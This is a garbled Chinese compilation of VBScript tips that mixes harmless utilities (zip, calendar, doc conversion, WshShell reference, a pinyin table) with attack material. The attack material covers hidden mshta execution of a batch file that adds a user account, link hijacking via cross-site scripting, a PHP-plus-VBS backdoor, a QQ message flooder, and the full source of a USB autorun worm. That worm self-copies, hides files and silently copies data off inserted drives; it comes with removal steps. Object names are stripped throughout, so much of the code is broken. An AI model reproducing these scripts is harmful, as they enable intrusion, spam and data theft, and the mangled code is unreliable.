2024年3月7日发(作者:)

可以显示农历的VBS代码:

vbs实现显示系统调色板的代码:

set ie = createobject("ation")

te "about:blank"

do until tate = 4 : 25 : loop

set doc = nt

set body =

set win = window

tml = "

CLASSID='clsid:3050f819-98b5-11cf-bb82-

00aa00bdce0b'>

"

ext = mentById("dlg").choosecolordlg

a "text", ext

用vbs实现zip功能的脚本:

压缩:

Function fZip(sSourceFolder,sTargetZIPFile)

'This function will add all of the files in a source folder to a ZIP file

'using Windows' native folder ZIP capability.

Dim oShellApp, oFSO, iErr, sErrSource, sErrDescription

Set oShellApp = CreateObject("ation")

Set oFSO = CreateObject("stemObject")

'The source folder needs to have a on the End

If Right(sSourceFolder,1) <> "" Then sSourceFolder = sSourceFolder & ""

On Error Resume Next

'If a target ZIP exists already, delete it

If ists(sTargetZIPFile) Then File

sTargetZIPFile,True

iErr =

sErrSource =

sErrDescription = ption

On Error GoTo 0

If iErr <> 0 Then

fZip = Array(iErr,sErrSource,sErrDescription)

Exit Function

End If

On Error Resume Next

'Write the fileheader for a blank zipfile.

xtFile(sTargetZIPFile, 2, True).Write "PK" & Chr(5) & Chr(6)

& String(18, Chr(0))

iErr =

sErrSource =

sErrDescription = ption

On Error GoTo 0

If iErr <> 0 Then

fZip = Array(iErr,sErrSource,sErrDescription)

Exit Function

End If

On Error Resume Next

'Start copying files into the zip from the source folder.

ace(sTargetZIPFile).CopyHere

ace(sSourceFolder).Items

iErr =

sErrSource =

sErrDescription = ption

On Error GoTo 0

If iErr <> 0 Then

fZip = Array(iErr,sErrSource,sErrDescription)

Exit Function

End If

'Because the copying occurs in a separate process, the script will just

continue. Run LOOP to prevent the function

'from exiting until the file is finished zipping.

Do Until ace(sTargetZIPFile). =

ace(sSourceFolder).

1500'如果不成功,增加一下秒数

Loop

fZip = Array(0,"","")

End Function

Call fZip ("C:vbs","c:")

解压缩:

Function fUnzip(sZipFile,sTargetFolder)

'Create the ation object

Dim oShellApp:Set oShellApp = CreateObject("ation")

'Create the File System object

Dim oFSO:Set oFSO = CreateObject("stemObject")

'Create the target folder if it isn't already there

If Not Exists(sTargetFolder) Then Folder

sTargetFolder

'Extract the files from the zip into the folder

ace(sTargetFolder).CopyHere

ace(sZipFile).Items

'This is a seperate process, so the script would continue even if the

unzipping is not done

'To prevent this, we run LOOP once a second checking to see if the

number of files

'in the target folder equals the number of files in the zipfile. If so,

we continue.

Do

1000‘有时需要更改

Loop While der(sTargetFolder). <

ace(sZipFile).

End Function

非常棒的lcx写的非常规运行vbs

:

vbs有一个对像是“e”,可以用它来讲英语的

这个组件在xp、2003上默认都可以用的,调用后可以听到电脑上一个国外老男人在说话。好比这样一句代码:●CreateObject("e").Speak "I LOVE

YOU"●,保存成vbs后缀后双击就会听到英语的我爱你了。但随之而来我们讲到另一个问题,不保存成vbs或vbe后缀如何运行vbs代码。

一、用mshta来运行vbs

hta这种类型的文件运行后也是系统权限,其调用宿主就是。我们在cmd下运行这样一行代码:●mshta

vbscript:createobject("e").speak("I LOVE

YOU.")()●,也会听到同样的发音。这行代码的意思类似是临时生成一个hta文件,然后运行里边的vbs代码,再调用将运行窗口关掉。整个运行过程是看不到hta窗口的。这种运行方式你会想到什么?最少我是想到了两个。一个是批处理的隐藏运行,基本代码如下:

@echo off

if "%1" == "h" goto begin

mshta vbscript:createobject("").run("%~nx0

h",0)()&&exit

:begin

rem 下边开始写批处代码了

net user lcx 12345 /add

这个代码只能双击运行,运行过程中你看不到具体的批处理运行流程的。第二个我想的是注射过程中的用途。网上有篇流传很广的文章《mssql注射中多次调用参数导致多次echo的解决方法》,中心思想是将vbs语句用冒号连接起来然后用echo命令一次写入到被注入的肉鸡上,然后再调用这个vbs来下载文件。如果调用mshta执行的话,下载、执行一次就ok了。不过在命令行下用mshta后边直接跟vbs代码有个难处理的问题是空格,不过这个好解决用execute将vbs代码放在括号里就ok了,这个读者可以亲自去试一下了,相信我不难的。

二、用ie地址栏运行vbs

很多人会用ie地址栏运行js,其实vbs一样是可以的,我们随便打开一个网站,在地址栏上输入:vbscript:msgbox()后回车,就会看到当前页面有多少个连接了。用(i).href这句的话,将i换成不同的自然数好比0、1、2、3等就会分别显示出不同的链接地址。这部份内容其实是涉及到dhtml的内容了。我们来看一个最简单的示例代码:

这是两个链接,保存成网页后点击就会跳转到不同的页面。如果这个页面有跨站,我想搞下破坏,让用户点击却跑到我指定的页面上能做到吗?其实可以的,只要加一行语句就可以了,代码是:●

onload='vbscript:(0).href="":(0).innerHTML=""'>●。这样的话用户再点击sohu其实会跑到google上去了,原来页面的版式却丝毫没有破坏。同样的dhtml元素还有(i).href、(i).src、(i).action等等,跨站改变其动态元素是很好玩的。

三、调用外部组件来运行vbs

vbs本身功能毕竟有限,但是却可以很好的与外部交互。要是用vbs来模拟nc发包的话,就要调用vb组件了。关于VBS如何成功调用k,zzzevazzz说的很清楚了。就是下载注册,和VB6控件的授权密钥的.reg导入注册表。两个文件可以在/inc/这里下载。前不久学了一段时间php,网上看到一个php的监听程序,可以用它来做一个后门,s端代码如下:

// 设置一些基本的变量

$host = "192.168.8.100";

$port = 12345;

// 设置超时时间

set_time_limit(0);

// 创建一个Socket

$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die("Could not create

socketn");

//绑定Socket到端口

$result = socket_bind($socket, $host, $port) or die("Could not bind to

socketn");

// 开始监听链接

$result = socket_listen($socket, 3) or die("Could not set up socket

listenern");

// accept incoming connections

// 另一个Socket来处理通信

$spawn = socket_accept($socket) or die("Could not accept incoming

connectionn");

// 获得客户端的输入

$input = socket_read($spawn, 1024) or die("Could not read inputn");

// 清空输入字符串

$input = trim($input);//将输入结果写入,这句是我加的

fputs(fopen('','a+'),"$input");

//处理客户端输入并返回结果

$output = strrev($input) . "n";

socket_write($spawn, $output, strlen ($output)) or die("Could not write

outputn");

// 关闭sockets

socket_close($spawn);

socket_close($socket);

?>

在ie打开这个php,运行它的服务器会监听12345端口。如果我们再用vbs向12345端口发包的话,在同文件的php目录下会生成。发包的内容就是我们要写入的代码。该vbs文件代码如下:

Set ie=Object("ation")

e=false

te "192.168.8.100/" '是服务端

While

100

Wend

Do

200

Loop Until tate=4

Set socket=Object("k")

ol=0

Port="12345" '端口

Host="192.168.8.100" '主机

t Host, Port '连接

10

ddd=""&Chr(13) '这里你可以改成一句话的php木马

ta ddd

100

"ok"

'ta Chr(13)

Set ie=nothing

一个vbs和一个php珠联璧合,打造了一个非常规后门。当然这个后门的价值不大,但重要的是思路,不是吗?

禁止QQ上网的vbs脚本代码:

用vbs查找系统进程,发现qq的进程则杀掉就是这段代码的原理

dim bag,pipe,honker,good

do

good="."

set bag=getobject("winmgmts:"&good&"rootcimv2")

set pipe=ery("select * from win32_process where name=''")

for each i in pipe

ate()

next

1

loop

VBS实现DOC转为文本文档的代码

ON ERROR RESUME NEXT

set args=nts

arg=args(0)

set w=createobject("ation")

set fso=createobject("stemobject")

set docfile=e(arg)

docpath=

pt=left(docpath,Instrrev(docpath,""))

txtpn=pt&left(,instrrev(,"."))&"txt"

docpath,,,,,,,,,,,false

nts(docpath).activate

txtpn,2

set w=nothing

保存到“C:”。

记事本编辑

createobject("").regwrite "HKCUdocfileShell转为文本文档Command

"," C:"

记事本编辑

createobject("").regwrite "HKCUdocfileShell转为文本文档Command

"," C: %1"

以上内容保存为*.VBS,运行后,在doc文件上右击,就可以看到“转换为文本文档”项,点击就可以快

速转换为文本文档。

以上内容在WIN2000加WORD2003下通过测试。

我在试验过程中发现,写入注测表的脚本运行后DOC右键有时并没有出现转换菜单,你可以将第二个脚

本中的docfile改为*,就是在所有类型文件右键菜单添加转换项。

或者将文件放到"sendto"文件夹,在doc文件上右击选“发送到~”,同样可

以转换。

此法同样可以将HTML,RTF等文件转换为文本文档。

飘叶千夫指源代码,又称qq刷屏器

Set WshShell= Object("")

ivate ""

for i=1 to 10 ´要发送的次数

500 ´定义发送信的所要的时间以ms毫秒为单位。如:1000为一秒发一次

ys "^v" ´把剪贴版上的内容粘贴出来

ys i ´输出次数值

ys "%s"´按下键盘上的Alt+S发送信息

next

最新恶意复制型病毒,,

及代码分析与病毒处理两种方法

方法一:来自于指间轻舞

此病毒最大的特点在于中毒后,自动感染你的硬盘根目录,并复制病毒文件。无论你是采用双击,还是右键选择打开,或者运行资源管理器都会自动运行其代码(病毒),所以中此病毒后,新手往往打不开盘符,导致数据无法读取。

下面是病毒的代码分析 文件总共有三个 都很简单,已经加上了注解。

文件名:

[autorun]

open=

shellopen=打开(&O)

shellopenCommand=

shellopenDefault=1

shellexplore=资源管理器(&X)

shellexploreCommand=

文件名:

功能是检测是否存在,存在则运行

on error resume next

set fso = CreateObject("s"&"temObject")

if ists("") = -1 then

if ists("d:") = -1 then

set f = e("d:")

if utes = 0 then

else

utes = 0

end if

(true)

end if

le "", "d:", true

set wshshell = object("")

"d:"

end if

文件名:

'[NatruePark]

'容错语句

on Error resume next

'变量声明及初始化

dim fso, old_drs(), new_drs(), old_n, new_n, new_yn, wshshell

set fso = CreateObject(""&"SystemObject")

set wshshell = object("")

old_n=0

redim old_drs(old_n)

old_drs(0)="C"

'[主体部分]

("explorer .")

dim i

i = 0

do while i>=0 and i<8*360

scan_disk()

if judge_new_disk() = 1 then

dim left_n

left_n = 1

do while left_n<=(new_n-old_n)

new_disk = new_drs(left_n+old_n)&":"

'-----------------<维护块>-----------------

if ists(new_disk&"") = -1 then

else

self_copy(new_disk)

end if

add_attrib(new_disk&"")

if ists(new_disk&"") = -1 then

del_attrib(new_disk&"")

end if

add_autorun(new_disk)

add_attrib(new_disk&"")

if ists(new_disk&"") = -1 then

else

add_stNP(new_disk)

end if

add_attrib(new_disk&"")

'----------------------------------

'-----------------<功能块>-----------------

dim rec

rec = "d:Recyc1ed"

if Exists(rec) = -1 then

else

folder(rec)

end if

add_attribf(rec)

if ists(rec&"") = -1 then

else

add_desktop(rec)

end if

add_attrib(rec&"")

aim_folder = rec&Date()&Rnd()

if Exists(aim_folder) = -1 then

else

folder(aim_folder)

end if

'查找"汽轮机原理文件夹并复制"

if Exists(new_disk&"汽轮机原理") = -1 then

lder new_disk&"汽轮机原理", aim_folder, true

add_attribf(aim_folder)

end if

'通用复制

if old_n = 0 then

else

set fp = der(new_drs(new_n)&":")

set fc = ders

for each f in fc

lder f&"", aim_folder&""&, true

next

set fc =

for each f in fc

le f&"", aim_folder&"", true

next

add_attribf(aim_folder)

end if

'----------------------------------

left_n=left_n+1

loop

copy_disk()

end if

(10000)

i=i+1

loop

'[函数部分]

'可用驱动器检测 new_drs(),new_n

function scan_disk()

dim d, dr

new_n = -1

set dr =

for each d in dr

if y then

new_n=new_n+1

redim preserve new_drs(new_n)

new_drs(new_n)=etter

end if

next

end function

'判断是否有新加入的驱动器

function judge_new_disk()

if new_n = old_n then

judge_new_disk = 0

elseif new_n < old_n then

redim preserve old_drs(new_n)

old_n = new_n

judge_new_disk = 0

elseif new_n > old_n then

redim preserve old_drs(new_n)

judge_new_disk = 1

end if

end function

'复制新驱动器表单

function copy_disk()

dim n

n=0

do while n<=new_n

old_drs(n) = new_drs(n)

n=n+1

loop

old_n = new_n

end function

'添加指定文件属性

function add_attrib(file)

set f = e(file)

if utes = 7 then

else

utes = 7

end if

end function

'删除指定文件属性

function del_attrib(file)

set f = e(file)

if utes = 7 then

utes = 0

else

end if

end function

'自我复制到指定文件目录

function self_copy(folder)

dim aim_path, mid_path, self_file, mid_file

aim_path = folder&""

mid_path = "c:"

set self_file = xtfile(fullname,1)

self = self_l

set mid_file = xtfile(mid_path,2,true)

mid_ self

mid_

set mid_file = e(mid_path)

mid_(aim_path)

mid_(true)

end function

'增加

function add_autorun(folder)

dim path

path = folder&""

set temp = TextFile("c:",true)

ine "[autorun]"

ine "open="

ine "shellopen=打开(&O)"

ine "shellopenCommand= "

ine "shellopenDefault=1"

ine "shellexplore=资源管理器(&X)"

ine "shellexploreCommand= "

set cop = e("c:")

(path)

(true)

end function

'增加

function add_desktop(folder)

dim path

path = folder&""

set temp = TextFile("c:",true)

ine "[.ShellClassInfo]"

ine "CLSID={645FF040-5081-101B-9F08-00AA002F954E}"

set cop = e("c:")

(path)

(true)

end function

'增加

function add_stNP(folder)

dim path

set fso = CreateObject(""&"SystemObject")

path = folder&""

set temp = TextFile("c:",true)

ine "on error resume next"

ine "set fso =

CreateObject("&chr(34)&"s"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"

ine "if ists("&chr(34)&""&chr(34)&") = -1

then"

ine "if ists("&chr(34)&"d:"&chr(34)&") = -1

then"

ine "set f = e("&chr(34)&"d:"&chr(34)&")"

ine "if utes = 0 then"

ine "else"

ine "utes = 0"

ine "end if"

ine "(true)"

ine "end if"

ine "le "&chr(34)&""&chr(34)&",

"&chr(34)&"d:"&chr(34)&", true"

ine "set wshshell =

object("&chr(34)&""&chr(34)&")"

ine " "&chr(34)&"d:"&chr(34)

ine "end if"

set cop = e("c:")

(path)

(true)

end function

'添加指定文件夹属性

function add_attribf(folder)

set f = der(folder)

if utes = 7 then

else

utes = 7

end if

end function

'删除指定文件夹属性

function del_attribf(folder)

set f = der(folder)

if utes = 0 then

else

utes = 0

end if

end function

("THANK YOU!!")

病毒好像有点良心 不会感染C盘,所以解决的方法还是有的:用资源管理器打开C盘,然后在左边展开其他盘符,在工具-文件夹-查看中去掉隐藏受保护的系统文件的钩并选择查看所有文件。将各个盘符隐藏的以上三个文件删除,重新启动即可。

方法二:作者刚成功操作得出

只需要进入WinPE之后,查找就可以连全部查处,删除这些恶魔,即可!!!

对象详细介绍:

WshShell 对象

ProgID

文件名

CLSID F935DC22-1CF0-11d0-ADB9-00C04FD58A0B

IID F935DC21-1CF0-11d0-ADB9-00C04FD58A0B

下表说明和 WshShell 对象有关的属性。

属性 说明

Environment 返回 WshEnvironment 集合对象。

SpecialFolders 使用 WshSpecialFolders 对象提供对 Windows shell 文件夹的访问,如桌面文件夹,开始菜单文件夹和个人文档文件夹。

下表说明和 WshShell 对象有关的方法。

方法 说明

CreateShortcut 创建并返回 WshShortcut 对象。

ExpandEnvironmentStrings 扩展 PROCESS 环境变量并返回结果字符串。

Popup 显示包含指定消息的消息窗口。

RegDelete 从注册表中删除指定的键或值。

RegRead 从注册表中返回指定的键或值。

RegWrite 在注册表中设置指定的键或值。

Run 创建新的进程,该进程用指定的窗口样式执行指定的命令。

nment

Environment 属性返回 WshEnvironment 对象。

语法

nment ( [strType]) = objWshEnvironment

注释

若 strType 指定了环境变量所处的位置,可能值为 "System"、"User"、"Volatile" 和 "Process"。若未提供 strType,则该方法在 Windows NT 中检索系统环境变量或在 Windows 95 中检索进程环境变量。

对于 Windows 95,strType 参数仅支持 "Process"。

下列变量是由 Windows 操作系统提供的。脚本也可获取由其他应用程序设置的环境变量。

名称 说明

NUMBER_OF_PROCESSORS 计算机上运行的处理器数目。

PROCESSOR_ARCHITECTURE 用户工作站使用的处理器类型。

PROCESSOR_IDENTIFIER 用户工作站的处理器 ID。

PROCESSOR_LEVEL 用户工作站的处理器级。

PROCESSOR_REVISION 用户工作站的处理器版本。

OS 用户工作站所用的操作系统。

COMSPEC 用于运行“命令提示”窗口的命令(通常为 )。

HOMEDRIVE 本地主驱动器(通常为 C 驱动器)。

HOMEPATH 用户的默认路径(在 Windows NT 上通常为 usersdefault)。

PATH 路径环境变量。

PATHEXT 可执行文件的扩展名(通常为 .com、 .exe、.bat 或 .cmd)。

PROMPT 命令提示符(通常为 $P$G)。

SYSTEMDRIVE 系统所在的本地驱动器(例如,c:)。

SYSTEMROOT 系统目录(例如,c:winnt)。和 WINDIR 相同。

WINDIR 系统目录(例如 c:winnt)。和 SYSTEMROOT 相同。

TEMP 存储临时文件的目录(例如,c:temp)。用户可更改。

TMP 存储临时文件的目录(例如,c:temp)。用户可更改。

示例

'' Retrieve the NUMBER_OF_PROCESSORS system environment variable

Set WshShell = Object("")

Set WshSysEnv = nment("SYSTEM")

WshSysEnv("NUMBER_OF_PROCESSORS")

请参阅

WshEnvironment 对象

WshEnvironment 对象

WshEnvironment 对象未直接给出,可用 nment 属性来访问。

ProgID N/A

文件名

CLSID

IID

下表描述与 WshEnvironment 对象关联的属性。

属性 说明

Item 获取或设置指定的环境变量值。

Count 枚举项的数目。

length 枚举项的数目 (JScript)。

下表描述与 WshEnvironment 对象关联的方法。

方法 说明

Remove 删除指定的环境变量。

lFolders

SpecialFolders 属性提供 WshSpecialFolders 对象以便访问 Windows 的

shell 文件夹,例如桌面文件夹、开始菜单文件夹和个人文档文件夹。

语法

lFolders = objWshSpecialFolders

示例

'' This code fragment shows how to access the desktop folder

Set WshShell = Object("")

MsgBox "Your desktop is " & lFolders("Desktop")

请参阅

WshSpecialFolders 对象

WshSpecialFolders 对象

该对象未直接给出。要得到 WshSpecialFolders 对象,请使用

lFolders 属性。

ProgID N/A

文件名

CLSID

IID

下表描述与 WshSpecialFolders 对象关联的属性。

属性 描述

Item 指定文件夹的完整路径(默认)。

Count 枚举项的数目。

length 枚举项的数目 (JScript) 。

Item 属性返回由 strFolderName 指定的文件夹的完整路径。它是默认属性。

语法

("strFolderName") = strFolderPath

lFolders("strFolderName") = strFolderPath

注释

若请求的文件夹 (strFolderName) 不可用,则

lFolders("strFolderName") 返回 NULL。例如,Windows 95 没有 AllUsersDesktop 文件夹,如果 strFolderName = AllUsersDesktop,则返回 NULL。

Windows 95 和 Windows NT 4.0 操作系统提供下列指定文件夹:

AllUsersDesktop

AllUsersStartMenu

AllUsersPrograms

AllUsersStartup

Desktop

Favorites

Fonts

MyDocuments

NetHood

PrintHood

Programs

Recent

SendTo

StartMenu

Startup

Templates

示例

'' This fragment returns the full path for the Windows Desktop folder

Set WshShell = Object("")

StrMyDesktop = lFolders("Desktop")

'' List all special folders

For Each strFolder In lFolders

MsgBox strFolder

Next

请参阅

lFolders 属性

Shortcut

CreateShortcut 方法创建 WshShortcut 对象并将其返回。如果快捷方式标题以 .url 结尾,就会创建 WshURLShortcut 对象。

语法

Shortcut(strPathname) = objShortcut

示例

'' This code fragment creates a shortcut

'' to the currently executing script

Set WshShell = Object("")

Set oShellLink = Shortcut("Current ")

Path = FullName

Set oUrlLink = Shortcut("Microsoft Web ")

Path = ""

请参阅

WshShortcut 对象、WshUrlShortcut 对象

WshShortcut 对象

该对象未直接给出。要获得 WshShortcut 对象,请使用

Shortcut 方法。

ProgID N/A

文件名

CLSID F935DC28-1CF0-11d0-ADB9-00C04FD58A0B

IID F935DC27-1CF0-11d0-ADB9-00C04FD58A0B

下表说明和 WshShortcut 对象有关的属性。

属性 说明

Arguments 快捷方式对象的参数。

Description 快捷方式对象的说明。

Hotkey 快捷方式对象的热键。

IconLocation 快捷方式对象的图标位置。

TargetPath 快捷方式对象的目标路径。

WindowStyle 快捷方式对象的窗口样式。

WorkingDirectory 快捷方式对象的工作目录。

下表说明与 WshShortcut 对象有关的方法。

方法 说明

Save 将快捷方式存储到指定的文件系统中。

nts

Arguments 属性提供快捷方式对象的参数。

语法

nts = strArguments

ption

Description 属性提供快捷方式对象的说明。

语法

ption = strDescription

HotKey 属性提供快捷方式对象的热键。热键是启动或切换程序的键盘快捷方式。

语法

= strHotKey

注释

strHotKey 的BNF语法如下:

Hotkey ::= modifier* keyname

modifier ::= "ALT+" | "CTRL+" | "SHIFT+" | "EXT+"

keyname ::= "A" .. "Z" |

"0".. "9" |

"Back" | "Tab" | "Clear" | "Return" |

"Escape" | "Space" | "Prior" | ...

所有键的名称都可以在 WINUSER.H 中找到。热键不区分大小写。

热键只能激活位于 Windows 桌面或 Windows“开始”菜单的快捷方式。

Windows 资源管理器不接受 ESC、ENTER、TAB、SPACE、PRINT SCREEN 或

BACKSPACE,即使 遵循 Win32 API 支持它们。因此,建议在快捷方式中不要用这些键。

示例

Set WshShell = Object("ll")

strDesktop = lFolders("Desktop")

Set oMyShortcut = Shortcut(strDesktop & "a_")

Path = "%windir%"

= "ALT+CTRL+F"

= "Alt+Ctrl+F"

请参阅

WshSpecialFolders 对象

cation

IconLocation 属性提供快捷方式对象的图标位置。图标位置的格式应为

"Path,index"。

语法

cation = strIconLocation

Path

TargetPath 属性提供快捷方式对象的目标路径。

语法

Path = strTargetPath

Style

WindowStyle 属性提供快捷方式对象的窗口样式。

语法

Style = natWindowStyle

gDirectory

WorkingDirectory 为一个快捷方式对象提供工作目录。

语法

gDirectory = strWorkingDirectory

Save 方法把快捷方式对象保存到由 FullName 属性指定的位置。

语法

WshUrlShortcut 对象

该对象未直接给出。要获取 WshUrlShortcut 对象,可使用

Shortcut 方法。

ProgID N/A

文件名

CLSID

IID

下表说明了和 WshUrlShortcut 对象有关的属性。

属性 说明

FullName URL 快捷方式对象的完整路径。

TargetPath URL 快捷方式对象的目标路径。

下表说明了和 WshUrlShortcut 对象有关的方法。

方法 说明

Save 将快捷方式保存到指定的文件系统中。

me

FullName 属性提供快捷方式对象的完整路径。

语法

me = strFullName

Path

TargetPath 属性提供快捷方式对象的目标路径。

语法

Path = strTargetPath

Save 方法保存一个快捷方式,该快捷方式指向 FullName 属性指定的位置。

语法

EnvironmentStrings

ExpandEnvironmentStrings 方法在 strString 中扩展 PROCESS 环境变量并返回结果字符串。变量被 ''%'' 字符括起。

环境变量不区分大小写。

语法

EnvironmentStrings(strString) = strExpandedString

示例

MsgBox "Prompt is " & EnviromentStrings("%PROMPT%")

Popup 方法显示一个弹出式消息框窗口,消息框中包含的消息由 strText 指定。该消息框的窗口标题由 strTitle 指定。若 strTitle 省略,则窗口标题为 Windows Scripting Host。

语法

(strText, [natSecondsToWait], [strTitle], [natType]) =

intButton

注释

若提供 natSecondsToWait 且其值大于零,则消息框在 natSecondsToWait 秒后关闭。

natType 的含义与其在 Win32? MessageBox 函数中相同。下表显示 natType 中的值及含义。下表中的值可以组合。

按钮类型

值 说明

0 显示“确定”按钮

1 显示“确定”和“取消”按钮

2 显示“终止”、“重试”和“忽略”按钮

3 显示“是”、“否”和“取消”按钮

4 显示“是”和“否”按钮

5 显示“重试”和“取消”按钮

图标类型

值 说明

16 显示停止标记图标

32 显示问号图标

48 显示感叹号图标

64 显示信息标记图标

以上两个表并不涵盖 natType 的所有值。完整的列表请参阅 Win32 文档。

返回值 intButton 指示用户所单击的按扭编号。若用户在 natSecondsToWait

秒之前不单击按扭,则 intButton 设置为 -1 。

值 说明

1 “确定”按扭

2 “取消”按扭

3 “终止”按扭

4 “重试”按扭

5 “忽略”按扭

6 “是”按扭

7 “否”按扭

示例

Set WshShell = Object("")

"Where do you want to go today?"

请参阅

方法

Echo 方法在窗口( 中)或“命令提示符”窗口( 中)显示参数。

参数用空格分隔。在 中,该方法在显示最后一个参数之后输出一对回车/换行(CR LF)。

语法

[]

示例

1, 2, 3

"Windows Scripting Host is cool."

ete

RegDelete 从注册表中删除名为 strName 的键或值。

语法

ete strName

参数

strName

如果 strName 以反斜杠 () 结束,则该方法删除键而不是值。

strName 参数必须以下列之一的根键名开始:

短根键名 长根键名

HKCU HKEY_CURRENT_USER

HKLM HKEY_LOCAL_MACHINE

HKCR HKEY_CLASSES_ROOT

HKEY_USERS

HKEY_CURRENT_CONFIG

示例

Set WshShell = Object("")

ete "HKCUScriptEngineValue" '' Delete value "Value"

ete "HKCUScriptEngineKey" '' Delete key "Key"

请参阅

d 方法、te 方法

d

RegRead 方法返回名为 strName 的注册表键或值。

语法

d(strName) = strValue

参数

strName

如果 strName 以反斜杠 () 结束,则该方法返回键,而不是值。

strName 参数必须以下列根键名开始。

Short Long

HKCU HKEY_CURRENT_USER

HKLM HKEY_LOCAL_MACHINE

HKCR HKEY_CLASSES_ROOT

HKEY_USERS

HKEY_CURRENT_CONFIG

注释

RegRead 方法仅支持 REG_SZ、REG_EXPAND_SZ、REG_DWORD、REG_BINARY 和

REG_MULTI_SZ 数据类型。若注册表有其他数据类型,RegRead 返回

DISP_E_TYPEMISMATCH。

示例

Set WshShell = Object("")

d("HKCUScriptEngineVal") '' Read from value "Val"

d("HKCUScriptEngineKey") '' Read from key "Key"

请参阅

ete 方法、te 方法

te

RegWrite 方法设置名为 strName 的注册表键或值。

语法

te strName, anyValue, [strType]

参数

strName

若 strName 以一个反斜杠 () 结束,则该方法设置键,而不是值。

strName 参数必须以下列根键名开头。

Short Long

HKCU HKEY_CURRENT_USER

HKLM HKEY_LOCAL_MACHINE

HKCR HKEY_CLASSES_ROOT

HKEY_USERS

HKEY_CURRENT_CONFIG

anyValue

当 strType 为 REG_SZ 或 REG_EXPAND_SZ 时,RegWrite 方法自动将

anyValue 转换为字符串。若 strType 为 REG_DWORD,则 anyValue 被转换为整数。若 strType 为 REG_BINARY,则 anyValue 必须是一个整数。

strType

RegWrite 方法支持 strType 为 REG_SZ、REG_EXPAND_SZ、REG_DWORD 和

REG_BINARY。若其他的数据类型被作为 strType 传递,RegWrite 返回

E_INVALIDARG。

示例

Set WshShell = Object("")

te "HKCUScriptEngineValue", "Some string value"

te "HKCUScriptEngineKey", 1 "REG_DWORD"

请参阅

ete 方法、te方法

Run 方法创建一个新的进程,该进程以 intWindowStyle 窗口样式执行

strCommand。

语法

(strCommand, [intWindowStyle], [blnWaitOnReturn])

参数

strCommand

在 strCommand 参数内部的环境变量被自动扩展。

intWindowStyle

这是为新进程在 STARTUPINFO 结构内设置的 wShowWindow 元素的值。其意义与 ShowWindow 中的 nCmdShow 参数相同,可取以下值之一。名称 值 含义

SW_HIDE

0 隐藏窗口并激活另一窗口。

SW_MINIMIZE

6 最小化指定窗口并激活按 Z 序排序的下一个顶层窗口。

SW_RESTORE

9 激活并显示窗口。若窗口是最小化或最大化,则恢复到原来的大小和位置。在还原应用程序的最小化窗口时,应指定该标志。

SW_SHOW

5 以当前大小和位置激活并显示窗口。

SW_SHOWMAXIMIZED

3 激活窗口并以最大化显示该窗口。

SW_SHOWMINIMIZED

2 激活窗口并以最小化显示该窗口。

SW_SHOWMINNOACTIVE

7 最小化显示窗口。活动窗口保持活动。

SW_SHOWNA

8 以当前状态显示窗口。活动窗口保持活动。

SW_SHOWNOACTIVATE

4 按窗口最近的大小和位置显示。活动窗口保持活动。

SW_SHOWNORMAL

1 激活并显示一个窗口。若窗口是最小化或最大化,则恢复到其原来的大小和位置。

blnWaitOnReturn

如果未指定 blnWaitOnReturn 或其值为 FALSE,则该方法立即返回到脚本继续执行而不等待进程结束。

若 blnWaitOnReturn 设为 TRUE,则 Run 方法返回由应用程序返回的任何错误

代码。如果未指定 blnWaitOnReturn 或其值为 FALSE,则 Run 返回错误代码 0(zero)。

示例

'' This fragment launches Notepad with the current executed script

Set WshShell = Object("")

("notepad " & FullName)

("%windir%notepad" & FullName)

'' This fragment returns the error code from the executed application

Return = ("notepad " & FullName, 1, TRUE)

vbs实现的汉字转拼音的函数 :

Set d = createObject("nary")

"a",-20319

"ai",-20317

"an",-20304

"ang",-20295

"ao",-20292

"ba",-20283

"bai",-20265

"ban",-20257

"bang",-20242

"bao",-20230

"bei",-20051

"ben",-20036

"beng",-20032

"bi",-20026

"bian",-20002

"biao",-19990

"bie",-19986

"bin",-19982

"bing",-19976

"bo",-19805

"bu",-19784

"ca",-19775

"cai",-19774

"can",-19763

"cang",-19756

"cao",-19751

"ce",-19746

"ceng",-19741

"cha",-19739

"chai",-19728

"chan",-19725

"chang",-19715

"chao",-19540

"che",-19531

"chen",-19525

"cheng",-19515

"chi",-19500

"chong",-19484

"chou",-19479

"chu",-19467

"chuai",-19289

"chuan",-19288

"chuang",-19281

"chui",-19275

"chun",-19270

"chuo",-19263

"ci",-19261

"cong",-19249

"cou",-19243

"cu",-19242

"cuan",-19238

"cui",-19235

"cun",-19227

"cuo",-19224

"da",-19218

"dai",-19212

"dan",-19038

"dang",-19023

"dao",-19018

"de",-19006

"deng",-19003

"di",-18996

"dian",-18977

"diao",-18961

"die",-18952

"ding",-18783

"diu",-18774

"dong",-18773

"dou",-18763

"du",-18756

"duan",-18741

"dui",-18735

"dun",-18731

"duo",-18722

"e",-18710

"en",-18697

"er",-18696

"fa",-18526

"fan",-18518

"fang",-18501

"fei",-18490

"fen",-18478

"feng",-18463

"fo",-18448

"fou",-18447

"fu",-18446

"ga",-18239

"gai",-18237

"gan",-18231

"gang",-18220

"gao",-18211

"ge",-18201

"gei",-18184

"gen",-18183

"geng",-18181

"gong",-18012

"gou",-17997

"gu",-17988

"gua",-17970

"guai",-17964

"guan",-17961

"guang",-17950

"gui",-17947

"gun",-17931

"guo",-17928

"ha",-17922

"hai",-17759

"han",-17752

"hang",-17733

"hao",-17730

"he",-17721

"hei",-17703

"hen",-17701

"heng",-17697

"hong",-17692

"hou",-17683

"hu",-17676

"hua",-17496

"huai",-17487

"huan",-17482

"huang",-17468

"hui",-17454

"hun",-17433

"huo",-17427

"ji",-17417

"jia",-17202

"jian",-17185

"jiang",-16983

"jiao",-16970

"jie",-16942

"jin",-16915

"jing",-16733

"jiong",-16708

"jiu",-16706

"ju",-16689

"juan",-16664

"jue",-16657

"jun",-16647

"ka",-16474

"kai",-16470

"kan",-16465

"kang",-16459

"kao",-16452

"ke",-16448

"ken",-16433

"keng",-16429

"kong",-16427

"kou",-16423

"ku",-16419

"kua",-16412

"kuai",-16407

"kuan",-16403

"kuang",-16401

"kui",-16393

"kun",-16220

"kuo",-16216

"la",-16212

"lai",-16205

"lan",-16202

"lang",-16187

"lao",-16180

"le",-16171

"lei",-16169

"leng",-16158

"li",-16155

"lia",-15959

"lian",-15958

"liang",-15944

"liao",-15933

"lie",-15920

"lin",-15915

"ling",-15903

"liu",-15889

"long",-15878

"lou",-15707

"lu",-15701

"lv",-15681

"luan",-15667

"lue",-15661

"lun",-15659

"luo",-15652

"ma",-15640

"mai",-15631

"man",-15625

"mang",-15454

"mao",-15448

"me",-15436

"mei",-15435

